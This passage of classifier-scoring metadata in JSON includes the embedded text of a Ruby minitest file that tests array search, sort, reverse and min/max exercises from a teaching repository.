"1": 0.1507712868373405, "2": 0.08405558412438845, "3": 0.015062993409579487, "4": 0.011246908959967638}, "education_level": {"none": 0.0011504997921650386, "0": 0.0013708451257609514, "1": 0.01020534768556349, "2": 0.6411006023110757, "3": 0.3157839935153773, "4": 0.030388711570057583}, "creative_writing_quality": {"not_applicable": 0.999477316380878, "-2": 8.475239965138125e-05, "-1": 0.00012994989517545796, "0": 0.00022700112409941426, "1": 5.897264264041549e-05, "2": 2.2007557555427555e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.3038717899767705e-05, "Art & Design": 8.697805521073156e-05, "Law & Crime": 0.00010632228047977858, "Education & Careers": 6.273352744189943e-05, "Entertainment & Media": 4.7335284024463284e-05, "Fashion & Beauty": 6.049161584892572e-05, "Business, Economics & Finance": 0.021626954218605363, "Food & Dining": 0.00012480002453587385, "Games & Gaming": 0.00010801556525348878, "Electronics & Hardware": 8.973783692338288e-05, "Health, Healthcare & Wellness": 5.5631482958288734e-05, "History & Geography": 5.766760921305472e-05, "Home, Pets & Hobbies": 9.298195300695856e-05, "Industry & Production": 0.00012881932992478106, "Language, Literature & Philosophy": 0.0003837294951477296, "Politics & Government": 5.3842059751663595e-05, "Religion & Spirituality": 5.879014135032716e-05, "Science, Mathematics & Engineering": 0.00015462027570714676, "Relationships & Community": 3.1868953645711946e-05, "Software Usage & Applications": 0.0008498914612047076, "Programming & Software Engineering": 0.9739242136890022, "Sports & Fitness": 5.973335199213259e-05, "Vehicles & Transportation": 4.321708367850628e-05, "Travel & Tourism": 6.139305634464786e-05, "Other / Uncovered Subject": 0.0015451761068097315, "Unknown / Insufficient Content": 0.0001320168240386854}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008263163041805582, "Art & Design": 0.0007723810354224858, "Law & Crime": 0.0014408985825539269, "Education & Careers": 0.0004792551575056363, "Entertainment & Media": 0.0005487989395130356, "Fashion & Beauty": 0.00048051874460503907, "Business, Economics & Finance": 0.29630129371483477, "Food & Dining": 0.000535316888956218, "Games & Gaming": 0.0006100496834273844, "Electronics & Hardware": 0.000613994401458419, "Health, Healthcare & Wellness": 0.0004744295943718311, "History & Geography": 0.00044403142153680135, "Home, Pets & Hobbies": 0.0005600760548238901, "Industry & Production": 0.0006838444665736701, "Language, Literature & Philosophy": 0.001071494859332447, "Politics & Government": 0.00038439958841574967, "Religion & Spirituality": 0.0005738329653492856, "Science, Mathematics & Engineering": 0.0005265287638325777, "Relationships & Community": 0.00022225265746347552, "Software Usage & Applications": 0.003629940207114188, "Programming & Software Engineering": 0.0508213836859353, "Sports & Fitness": 0.00029463257323220353, "Vehicles & Transportation": 0.0002224464172643, "Travel & Tourism": 0.0004520733445917534, "Other / Uncovered Subject": 0.0024736354171609265, "NONE": 0.6345561745305441}}, "probabilities": {"primary": {"Academic Writing": 2.130756540426603e-05, "Content Listing": 1.8421133964151884e-05, "Creative Writing": 1.1927387210500086e-05, "Customer Support Page": 8.799301256245834e-06, "Q&A Forum": 7.514184388862491e-06, "Discussion Thread": 5.195530449666179e-06, "Comment Section": 1.0282501542405803e-05, "Missing Content": 2.077169950044098e-05, "Knowledge Article": 5.875467037197234e-05, "Legal Notices": 2.567894668753668e-05, "News Article": 3.096061923582221e-06, "Organizational Announcement": 8.085334296065091e-06, "Nonfiction Writing": 7.478795864601159e-06, "Organizational About Page": 8.07122048798858e-06, "Personal About Page": 6.287539577105587e-06, "Personal Blog": 5.2163377547900216e-06, "Product Page": 4.915563822900546e-06, "Spam / Ads": 6.716258246525937e-06, "Structured Data": 0.000457811006571322, "Technical Writing": 0.997975874103864, "Transcript / Interview": 9.430670954141277e-06, "Tutorial / How-To Guide": 0.00010633319658002157, "User Reviews": 4.830836052548467e-06, "Other / Unknown": 0.0012072001532282435}, "secondary": {"Academic Writing": 0.00019891547115349762, "Content Listing": 0.00022815234023013014, "Creative Writing": 0.00018677221594356084, "Customer Support Page": 0.00015050108345274278, "Q&A Forum": 7.343340914145243e-05, "Discussion Thread": 6.837302360418748e-05, "Comment Section": 0.0012162364428988021, "Missing Content": 0.00046633979172228595, "Knowledge Article": 0.0015608982900220019, "Legal Notices": 0.00018641942691749935, "News Article": 8.986825875660177e-05, "Organizational Announcement": 9.642376284478908e-05, "Nonfiction Writing": 0.00023215931604004392, "Organizational About Page": 0.00011497915886583855, "Personal About Page": 7.797966453793784e-05, "Personal Blog": 8.971544816030371e-05, "Product Page": 5.2423415651108505e-05, "Spam / Ads": 9.291089490785846e-05, "Structured Data": 0.0066309365139298896, "Technical Writing": 0.011771783025480875, "Transcript / Interview": 0.0001106820425526355, "Tutorial / How-To Guide": 0.0009161165620910852, "User Reviews": 5.434536497598209e-05, "NONE": 0.9753336350761189}, "tertiary": {"Academic Writing": 0.0001143140931717889, "Content Listing": 0.00018964601139518218, "Creative Writing": 0.0001331621179083492, "Customer Support Page": 0.00011880200433141799, "Q&A Forum": 4.169338468188956e-05, "Discussion Thread": 4.4978104114263626e-05, "Comment Section": 0.0010608589144491696, "Missing Content": 0.0004927445259086099, "Knowledge Article": 0.001501154453331496, "Legal Notices": 0.00022760896285524014, "News Article": 5.4076021653687736e-05, "Organizational Announcement": 6.589545235859498e-05, "Nonfiction Writing": 0.00022319607036357558, "Organizational About Page": 9.338055844979815e-05, "Personal About Page": 4.946315447645516e-05, "Personal Blog": 6.256871327351405e-05, "Product Page": 4.0517410440963685e-05, "Spam / Ads": 7.27113289162172e-05, "Structured Data": 0.0027600504505680655, "Technical Writing": 0.006151188583085508, "Transcript / Interview": 7.38241839902905e-05, "Tutorial / How-To Guide": 0.0011676561929580512, "User Reviews": 3.588931629308436e-05, "NONE": 0.9852246199910248}, "structured_records": {"false": 0.9941329375349893, "true": 0.005867062465010629}, "procedural_steps": {"false": 0.9967536445403619, "true": 0.003246355459638086}, "worked_solution": {"false": 0.9993323232400725, "true": 0.0006676767599274834}, "contextual_dialogue": {"false": 0.9999912847446548, "true": 8.7152553451788e-06}, "content_quality": {"-2": 0.005389561864511254, "-1": 0.021869357644986983, "0": 0.24440043915730092, "1": 0.48740092115861483, "2": 0.24093972017458606}, "noise_severity": {"0": 0.9691192452473397, "1": 0.02833355130789101, "2": 0.0016250514952110121, "3": 0.0005228992966082141, "4": 0.00039925265295006663}, "missing_content_severity": {"0": 0.9838167641635839, "1": 0.013069574574793569, "2": 0.0018464903362995367, "3": 0.0009399563445173741, "4": 0.0003272145808056022}, "factual_density": {"0": 0.004429109092982962, "1": 0.009353444321871159, "2": 0.0801587895730553, "3": 0.3524606242581827, "4": 0.5535980327539078}, "pretraining_utility": {"-2": 0.009634544873307045, "-1": 0.11861202577445815, "0": 0.43218029108123773, "1": 0.38017288058801885, "2": 0.05940025768297822}, "math_density": {"0": 0.925926241977312, "1": 0.06164314167366248, "2": 0.004230933417344716, "3": 0.002069351110949072, "4": 0.00613033182073183}, "code_density": {"0": 0.00034288854832113753, "1": 0.0006667463680100016, "2": 0.0194962262130515, "3": 0.187562503037987, "4": 0.7919316358326304}, "reasoning_density": {"0": 0.738863226668724, "1": 0.15077128683734053, "2": 0.08405558412438846, "3": 0.015062993409579489, "4": 0.01124690895996764}, "education_level": {"none": 0.0011504997921650386, "0": 0.0013708451257609514, "1": 0.01020534768556349, "2": 0.6411006023110757, "3": 0.3157839935153773, "4": 0.030388711570057583}, "creative_writing_quality": {"not_applicable": 0.999477316380878, "-2": 8.475239965138125e-05, "-1": 0.00012994989517545796, "0": 0.00022700112409941426, "1": 5.897264264041549e-05, "2": 2.2007557555427555e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.303871789976771e-05, "Art & Design": 8.697805521073157e-05, "Law & Crime": 0.00010632228047977859, "Education & Careers": 6.273352744189944e-05, "Entertainment & Media": 4.733528402446329e-05, "Fashion & Beauty": 6.049161584892573e-05, "Business, Economics & Finance": 0.021626954218605367, "Food & Dining": 0.00012480002453587387, "Games & Gaming": 0.00010801556525348879, "Electronics & Hardware": 8.973783692338289e-05, "Health, Healthcare & Wellness": 5.563148295828874e-05, "History & Geography": 5.766760921305473e-05, "Home, Pets & Hobbies": 9.298195300695857e-05, "Industry & Production": 0.00012881932992478109, "Language, Literature & Philosophy": 0.00038372949514772965, "Politics & Government": 5.38420597516636e-05, "Religion & Spirituality": 5.8790141350327166e-05, "Science, Mathematics & Engineering": 0.0001546202757071468, "Relationships & Community": 3.186895364571195e-05, "Software Usage & Applications": 0.0008498914612047078, "Programming & Software Engineering": 0.9739242136890023, "Sports & Fitness": 5.97333519921326e-05, "Vehicles & Transportation": 4.3217083678506286e-05, "Travel & Tourism": 6.139305634464787e-05, "Other / Uncovered Subject": 0.0015451761068097317, "Unknown / Insufficient Content": 0.00013201682403868542}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008263163041805582, "Art & Design": 0.0007723810354224858, "Law & Crime": 0.0014408985825539269, "Education & Careers": 0.0004792551575056363, "Entertainment & Media": 0.0005487989395130356, "Fashion & Beauty": 0.00048051874460503907, "Business, Economics & Finance": 0.29630129371483477, "Food & Dining": 0.000535316888956218, "Games & Gaming": 0.0006100496834273844, "Electronics & Hardware": 0.000613994401458419, "Health, Healthcare & Wellness": 0.0004744295943718311, "History & Geography": 0.00044403142153680135, "Home, Pets & Hobbies": 0.0005600760548238901, "Industry & Production": 0.0006838444665736701, "Language, Literature & Philosophy": 0.001071494859332447, "Politics & Government": 0.00038439958841574967, "Religion & Spirituality": 0.0005738329653492856, "Science, Mathematics & Engineering": 0.0005265287638325777, "Relationships & Community": 0.00022225265746347552, "Software Usage & Applications": 0.003629940207114188, "Programming & Software Engineering": 0.0508213836859353, "Sports & Fitness": 0.00029463257323220353, "Vehicles & Transportation": 0.0002224464172643, "Travel & Tourism": 0.0004520733445917534, "Other / Uncovered Subject": 0.0024736354171609265, "NONE": 0.6345561745305441}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10317, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10317, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:11.445138+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "b1482709-6fc1-4d2b-812f-6e57410e196e", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "4c53e9dcc3459b1f72b85eed53425a2b114bd4e8d3d54496fa3ed322cb79058d", "source_metadata": {"uuid": "b1482709-6fc1-4d2b-812f-6e57410e196e", "repo_name": "comptasso/FaitesLesComptes", "relative_path": "app/controllers/compta/writings_controller.rb", "category": "WEB", "algo_rel_score": 0.9391629099845886, "quality_score": 3.8405213356018066, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 3116, "repo_created_at": "2011-12-12T10:28:59.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 6, "forks": 7, "issues": 14, "pull_requests": 4}, "file_meta": {"content_id": "a1c61a5109cf84b1dec06b4f3f500fc5d53e0ad5", "size_bytes": 6229, "file_timestamp": 1448622803, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "62660fccb9e37f88e2bf4c92ad16aef3d5420a7a"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 3116, "repo_created_at": "2011-12-12T10:28:59.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 6, "forks": 7, "issues": 14, "pull_requests": 4}, "file_meta": {"content_id": "a1c61a5109cf84b1dec06b4f3f500fc5d53e0ad5", "size_bytes": 6229, "file_timestamp": 1448622803, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "62660fccb9e37f88e2bf4c92ad16aef3d5420a7a", "url": "https://github.com/comptasso/FaitesLesComptes/blob/62660fccb9e37f88e2bf4c92ad16aef3d5420a7a/app/controllers/compta/writings_controller.rb"}, "gpt4o_tokens": 1750, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9366318801337775, "noise_severity": 0.03474936279993794, "missing_content_severity": 0.020891282604167172, "factual_density": 3.4414450272581614, "pretraining_utility": 0.36109228043290303, "math_density": 0.10083438912412644, "code_density": 3.7700732512385953, "reasoning_density": 0.4090590711547265, "education_level": 2.3640331988380114, "creative_writing_quality": -0.37588118230477024}, "score_applicability": {"education_level": 0.998849500207835, "creative_writing_quality": 0.0005226836191220965}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/AdaGold/restricted-arrays/blob/92fdceb39ffac5f8f57c05c4545ba7e23904dadb/test/using_restricted_array_test.rb", "id": "ruby-0-c75d8a532eead5e178e5d03545616870", "text": "require 'minitest/autorun'\nrequire 'minitest/reporters'\nrequire_relative '../lib/restricted_array'\nrequire_relative '../lib/using_restricted_array'\n\ndescribe \"restricted array\" do\n it \"length method\" do\n # Arrange\n size = 5\n my_integer_array = RestrictedArray.new(size)\n\n # Act\n my_integer_array_length = length(my_integer_array)\n\n # Assert\n expect(my_integer_array_length).must_equal size\n end\n\n it \"linear search method - value exists in the middle, in the array\" do\n # Arrange\n size = 9\n my_integer_array = RestrictedArray.new(size)\n value_to_find = 220\n middle_index = size / 2\n my_integer_array[middle_index] = value_to_find\n\n # Act\n found = search(my_integer_array, size, value_to_find)\n\n # Assert\n expect(found).must_equal true\n end\n\n it \"linear search method - value exists at the last index in the array\" do\n # Arrange\n size = 7\n my_integer_array = RestrictedArray.new(size)\n size.times do |i|\n my_integer_array[i] = i\n end\n value_to_find = 220\n my_integer_array[size - 1] = value_to_find\n\n # Act\n found = search(my_integer_array, size, value_to_find)\n\n # Assert\n expect(found).must_equal true\n end\n\n it \"linear search method - value does not exist in array\" do\n # Arrange\n size = 4\n my_integer_array = RestrictedArray.new(size)\n size.times do |i|\n my_integer_array[i] = i\n end\n value_to_find = 220\n\n # Act\n found = search(my_integer_array, size, value_to_find)\n\n # Assert\n expect(found).must_equal false\n end\n\n it \"find largest in unsorted array\" do\n # Arrange\n size = 17\n my_integer_array = RestrictedArray.new(size)\n\n # Act\n largest = find_largest(my_integer_array, size)\n\n sort(my_integer_array, size) # Arrange (for assert)\n\n # Assert\n expect(largest).must_equal my_integer_array[size - 1]\n end\n\n it \"find largest in sorted array\" do\n # Arrange\n size = 14\n my_integer_array = RestrictedArray.new(size)\n sort(my_integer_array, size)\n\n # Act\n largest = find_largest(my_integer_array, size)\n\n # Assert\n expect(largest).must_equal my_integer_array[size - 1]\n end\n\n it \"find smallest in unsorted array\" do\n # Arrange\n size = 12\n my_integer_array = RestrictedArray.new(size)\n\n # Act\n smallest = find_smallest(my_integer_array, size)\n\n sort(my_integer_array, size) # Arrange (for assert)\n\n # Assert\n expect(smallest).must_equal my_integer_array[0]\n end\n\n it \"find smallest in sorted array\" do\n # Arrange\n size = 11\n my_integer_array = RestrictedArray.new(size)\n sort(my_integer_array, size)\n\n # Act\n smallest = find_smallest(my_integer_array, size)\n\n # Assert\n expect(smallest).must_equal my_integer_array[0]\n end\n\n it \"reverse array - odd count\" do\n # Arrange\n size = 9\n my_integer_array = RestrictedArray.new(size)\n test_array = Array.new(size)\n size.times do |i|\n test_array[i] = my_integer_array[i]\n end\n test_array.reverse!\n\n # Act\n reverse(my_integer_array, size)\n\n # Assert\n expect(length(my_integer_array)).must_equal size\n size.times do |i|\n expect(my_integer_array[i]).must_equal test_array[i]\n end\n end\n\n it \"reverse array - even count\" do\n # Arrange\n size = 8\n my_integer_array = RestrictedArray.new(size)\n test_array = Array.new(size)\n size.times do |i|\n test_array[i] = my_integer_array[i]\n end\n test_array.reverse!\n\n # Act\n reverse(my_integer_array, size)\n\n # Assert\n expect(length(my_integer_array)).must_equal size\n size.times do |i|\n expect(my_integer_array[i]).must_equal test_array[i]\n end\n end\n\n it \"find largest in sorted, reversed array\" do\n # Arrange\n size = 14\n my_integer_array = RestrictedArray.new(size)\n sort(my_integer_array, size)\n reverse(my_integer_array, size)\n\n # Act\n largest = find_largest(my_integer_array, size)\n\n # Assert\n expect(largest).must_equal my_integer_array[0]\n end\n\n it \"find smallest in sorted, reversed array\" do\n # Arrange\n size = 11\n my_integer_array = RestrictedArray.new(size)\n sort(my_integer_array, size)\n reverse(my_integer_array, size)\n\n # Act\n smallest = find_smallest(my_integer_array, size)\n\n # Assert\n expect(smallest).must_equal my_integer_array[size - 1]\n end\n\n it \"linear search method on sorted, reversed array - value exists in the array\" do\n # Arrange\n size = 13\n my_integer_array = RestrictedArray.new(size)\n size.times do |i|\n my_integer_array[i] = i * 10\n end\n value_to_find = 0\n reverse(my_integer_array, size)\n\n # Act\n found = search(my_integer_array, size, value_to_find)\n\n # Assert\n expect(found).must_equal true\n end\n\n it \"binary search method - value exists at the last index in the array\" do\n # Arrange\n size = 13\n my_integer_array = RestrictedArray.new(size)\n size.times do |i|\n my_integer_array[i] = i * 10\n end\n value_to_find = (size - 1) * 10\n\n # Act\n found = binary_search(my_integer_array, size, value_to_find)\n\n # Assert\n expect(found).must_equal true\n end\n\n it \"binary search method - value exists at the middle index in the array\" do\n # Arrange\n size = 15\n my_integer_array = RestrictedArray.new(size)\n size.times do |i|\n my_integer_array[i] = i * 10\n end\n value_to_find = (size/2) * 10\n\n # Act\n found = binary_search(my_integer_array, size, value_to_find)\n\n # Assert\n expect(found).must_equal true\n end\n\n it \"binary search method - value does not exist in the array\" do\n # Arrange\n size = 15\n my_integer_array = RestrictedArray.new(size)\n size.times do |i|\n my_integer_array[i] = i * 10\n end\n value_to_find = size * 10\n\n # Act\n found = binary_search(my_integer_array, size, value_to_find)\n\n # Assert\n expect(found).must_equal false\n end\nend\n", "text_preview": "require 'minitest/autorun' require 'minitest/reporters' require_relative '../lib/restricted_array' require_relative '../lib/using_restricted_array' describe \"restricted array\" do it \"length method\" do # Arrange size = 5 my_integer_array = R", "input_sha256": "5e8b512ec5d4b2d109218162ee710ef102d069c10b069688e76a8065f2153e13", "text_sha256": "c75d8a532eead5e178e5d035456168702b58e3fb05123dc7fd39da207c00c663", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16023, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2982358384394885, "noise_severity": 0.045064928106378334, "missing_content_severity": 0.004424829183461783, "factual_density": 3.0444451946787385, "pretraining_utility": 0.6405996373070478, "math_density": 1.9025003007963144, "code_density": 3.8331521719760557, "reasoning_density": 0.7270145888491786, "education_level": 1.9586204707184924, "creative_writing_quality": -0.13532123747577687}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.027408689972686973, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9809450624830779, "secondary": 0.9554618796592051, "tertiary": 0.9840622518046175, "structured_records": 0.39348470241168254, "procedural_steps": 0.03752095585963565, "worked_solution": 0.15143764705961457, "contextual_dialogue": 7.5821459677541695e-06, "content_quality": 0.5580894707319867, "noise_severity": 0.9624458932446848, "missing_content_severity": 0.9963126423471151, "factual_density": 0.4822717163956811, "pretraining_utility": 0.48939025956184257, "math_density": 0.0, "code_density": 0.8609601433133798, "reasoning_density": 0.3941545092923511, "education_level": 0.8256252032367936, "creative_writing_quality": 0.9990618629891127, "primary_topic": 0.9844705399327873, "secondary_topic": 0.7822334229090518}, "probability_margin": {"primary": 0.9689122524282849, "secondary": 0.933586914089925, "tertiary": 0.9770010253779882, "education_level": 0.7627123308705136, "creative_writing_quality": 0.9987713912439928, "primary_topic": 0.9714530036978193, "secondary_topic": 0.6467394957680725}, "raw_probabilities": {"primary": {"Academic Writing": 0.0001328869150056191, "Content Listing": 5.905020456508615e-05, "Creative Writing": 3.343538389441942e-05, "Customer Support Page": 2.12133569057918e-05, "Q&A Forum": 2.9836335128633598e-05, "Discussion Thread": 1.9726378526516877e-05, "Comment Section": 3.0938869451641015e-05, "Missing Content": 3.658878338420979e-05, "Knowledge Article": 0.0001013854566949032, "Legal Notices": 4.9739628535556934e-05, "News Article": 1.2519874188146449e-05, "Organizational Announcement": 2.3235453182998107e-05, "Nonfiction Writing": 2.607212958064564e-05, "Organizational About Page": 2.764886392142965e-05, "Personal About Page": 2.8215021404714254e-05, "Personal Blog": 1.676067423201673e-05, "Product Page": 1.7280927656309164e-05, "Spam / Ads": 2.0338813860546638e-05, "Structured Data": 0.002503136962996508, "Technical Writing": 0.9817390182129496, "Transcript / Interview": 5.504147274551919e-05, "Tutorial / How-To Guide": 0.002171026844144815, "User Reviews": 1.8137652379769695e-05, "Other / Unknown": 0.01282676578466465}, "secondary": {"Academic Writing": 0.00033187849430541195, "Content Listing": 0.00014265397187917563, "Creative Writing": 0.00014277204012186288, "Customer Support Page": 8.410041369711108e-05, "Q&A Forum": 7.14199313259449e-05, "Discussion Thread": 5.687087158222312e-05, "Comment Section": 9.124235141834967e-05, "Missing Content": 0.00015098036677430268, "Knowledge Article": 0.00040717046308907397, "Legal Notices": 9.688344143188666e-05, "News Article": 7.964156887692197e-05, "Organizational Announcement": 7.525545562901631e-05, "Nonfiction Writing": 8.147059930273396e-05, "Organizational About Page": 9.759606075845436e-05, "Personal About Page": 7.192477772886508e-05, "Personal Blog": 7.700273630604817e-05, "Product Page": 5.342788913812611e-05, "Spam / Ads": 7.856814573655567e-05, "Structured Data": 0.010685833298411693, "Technical Writing": 0.023730720583479886, "Transcript / Interview": 0.00012464894219383057, "Tutorial / How-To Guide": 0.0059027410557014656, "User Reviews": 4.756186770612535e-05, "NONE": 0.9573176346734049}, "tertiary": {"Academic Writing": 0.00013427905064047698, "Content Listing": 6.403132681419403e-05, "Creative Writing": 7.224831782647733e-05, "Customer Support Page": 3.4964785680237455e-05, "Q&A Forum": 2.789211363947503e-05, "Discussion Thread": 2.483848718612817e-05, "Comment Section": 4.7816315329011564e-05, "Missing Content": 0.00012292472673245964, "Knowledge Article": 0.0002598447814496828, "Legal Notices": 8.091871484011118e-05, "News Article": 3.8324310126658696e-05, "Organizational Announcement": 3.0671554684894883e-05, "Nonfiction Writing": 4.228909970462836e-05, "Organizational About Page": 5.6131020995678085e-05, "Personal About Page": 3.08104579595677e-05, "Personal Blog": 2.9993482590884598e-05, "Product Page": 2.7394608991998867e-05, "Spam / Ads": 3.529375501512391e-05, "Structured Data": 0.004078392037305112, "Technical Writing": 0.00772529926810366, "Transcript / Interview": 4.9230417290532974e-05, "Tutorial / How-To Guide": 0.0022387271343006043, "User Reviews": 2.1359586700536322e-05, "NONE": 0.9847263246460918}, "structured_records": {"false": 0.6065152975883175, "true": 0.39348470241168254}, "procedural_steps": {"false": 0.9624790441403643, "true": 0.03752095585963565}, "worked_solution": {"false": 0.8485623529403854, "true": 0.15143764705961457}, "contextual_dialogue": {"false": 0.9999924178540323, "true": 7.5821459677541695e-06}, "content_quality": {"-2": 0.0033426749086164693, "-1": 0.008074452350387486, "0": 0.08985146891443943, "1": 0.48446716704600434, "2": 0.4142642367805522}, "noise_severity": {"0": 0.9584930122792635, "1": 0.03923061906292944, "2": 0.0014106357632136344, "3": 0.00044989406135158657, "4": 0.00041583883324171355}, "missing_content_severity": {"0": 0.9975903836060418, "1": 0.0009294357117195352, "2": 0.0010400364857103145, "3": 0.0003452562857916256, "4": 9.488791073668553e-05}, "factual_density": {"0": 0.0109131232365301, "1": 0.02675247082727356, "2": 0.2021700614590846, "3": 0.42730477697515107, "4": 0.3328595675019606}, "pretraining_utility": {"-2": 0.008470982362998482, "-1": 0.06734961954866436, "0": 0.32595383942304634, "1": 0.47155989574887236, "2": 0.12666566291641837}, "math_density": {"0": 0.23901610380340474, "1": 0.22630668967815165, "2": 0.1647795362642117, "3": 0.13295614242718823, "4": 0.23694152782704356}, "code_density": {"0": 0.00039585278548223484, "1": 0.0007567468613485501, "2": 0.022292728382111243, "3": 0.11840871953374725, "4": 0.8581459524373107}, "reasoning_density": {"0": 0.6649754030145825, "1": 0.09632252617251223, "2": 0.13804540537242221, "3": 0.04802540983011059, "4": 0.05263125561037254}, "education_level": {"none": 0.001196384377257446, "0": 0.001747973717228509, "1": 0.09197533849348104, "2": 0.8546876693639947, "3": 0.046644005627275296, "4": 0.0037486284207629357}, "creative_writing_quality": {"not_applicable": 0.9992182191575939, "-2": 6.863312128274207e-05, "-1": 0.0001355752124080227, "0": 0.0004468279136010779, "1": 9.443928628431801e-05, "2": 3.63053088299681e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.6184100619242095e-05, "Art & Design": 4.429713376830547e-05, "Law & Crime": 3.074117947122045e-05, "Education & Careers": 4.70906664501532e-05, "Entertainment & Media": 2.6726821538108726e-05, "Fashion & Beauty": 1.823591471286842e-05, "Business, Economics & Finance": 3.9932850641162994e-05, "Food & Dining": 2.4145935904891228e-05, "Games & Gaming": 7.687402537873231e-05, "Electronics & Hardware": 5.5371286648924644e-05, "Health, Healthcare & Wellness": 2.6055685042214375e-05, "History & Geography": 3.577634475637847e-05, "Home, Pets & Hobbies": 2.4424165873541138e-05, "Industry & Production": 2.6181698039074316e-05, "Language, Literature & Philosophy": 4.3845716794508776e-05, "Politics & Government": 1.642309548514705e-05, "Religion & Spirituality": 2.866062578209223e-05, "Science, Mathematics & Engineering": 0.013614823160630079, "Relationships & Community": 1.804933854667922e-05, "Software Usage & Applications": 0.0002218307692049505, "Programming & Software Engineering": 0.9850678268584494, "Sports & Fitness": 5.1664653746562444e-05, "Vehicles & Transportation": 1.781733695567186e-05, "Travel & Tourism": 4.1326263017614785e-05, "Other / Uncovered Subject": 0.0003101208422776042, "Unknown / Insufficient Content": 4.557353026487183e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005310284896251848, "Art & Design": 0.00033640815033718336, "Law & Crime": 0.0003890367082343798, "Education & Careers": 0.00045302178153587406, "Entertainment & Media": 0.0002612905308676842, "Fashion & Beauty": 0.00018004844864086343, "Business, Economics & Finance": 0.0003455039911395304, "Food & 